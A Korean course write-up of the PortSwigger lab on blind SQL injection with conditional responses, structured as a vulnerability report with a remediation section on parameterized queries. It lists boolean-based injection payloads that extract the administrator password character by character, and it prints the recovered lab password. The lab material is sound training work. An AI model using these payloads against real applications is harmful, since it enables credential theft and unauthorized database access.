[SK shieldus Rookies 19기] 06 - Blind SQL Injection (Burp Suite Academy)
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
Lab: Blind SQL injection with conditional responses | Web Security Academy
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value ...
portswigger.net
해당 정보들이 미리 주어졌다고 가정한다.
가. 문제점
[CASE 6] SQL Injection
Web Security Academy 서비스 내 일부 페이지에서 사용자의 입력 값에 대한 필터링 검증이 부재하여 로그인 기능 이용/사용 시 입력 값을 변조하여 비정상적인 SQL 쿼리를 실행되게 함으로써 데이터베이스를 비정상적으로 조작할 가능성이 존재합니다.
' and 1=1 --
' and (SELECT 'a' FROM users LIMIT 1)='a
' and (SELECT 'a' FROM users WHERE username='administrator')='a
' and (SELECT 'a' FROM users WHERE username='administrator' and LENGTH(password)>1)='a
' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
같은 방식으로 계속 진행하여 password의 값을 알아낼 수 있다.
aybur6h6qdkqa5achpim
나. 관련 URL
번호 | 경로 | URL |
1 | My account > Login | /login |
다. 해결 방안
SQL 쿼리에 사용되는 문자열의 유효성을 검증하는 로직을 구현하고, 외부 입력이나 외부 변수로부터 받은 값이 직접 SQL함수의 인자로 전달되거나, 문자열 복사를 통하여 전달되는 것은 위험하므로 인자화된 질의문을 사용해야 합니다.
문자 | 기호 |
' | 문자 데이터 구분기호 |
; | 쿼리 구분 기호 |
--, # | 해당라인 주석 구분 기호 |
/* */ | * 와 */ 사이 구문 주석 |
※ 특수문자 필터링은 데이터베이스의 종류에 따라 달라질 수 있습니다.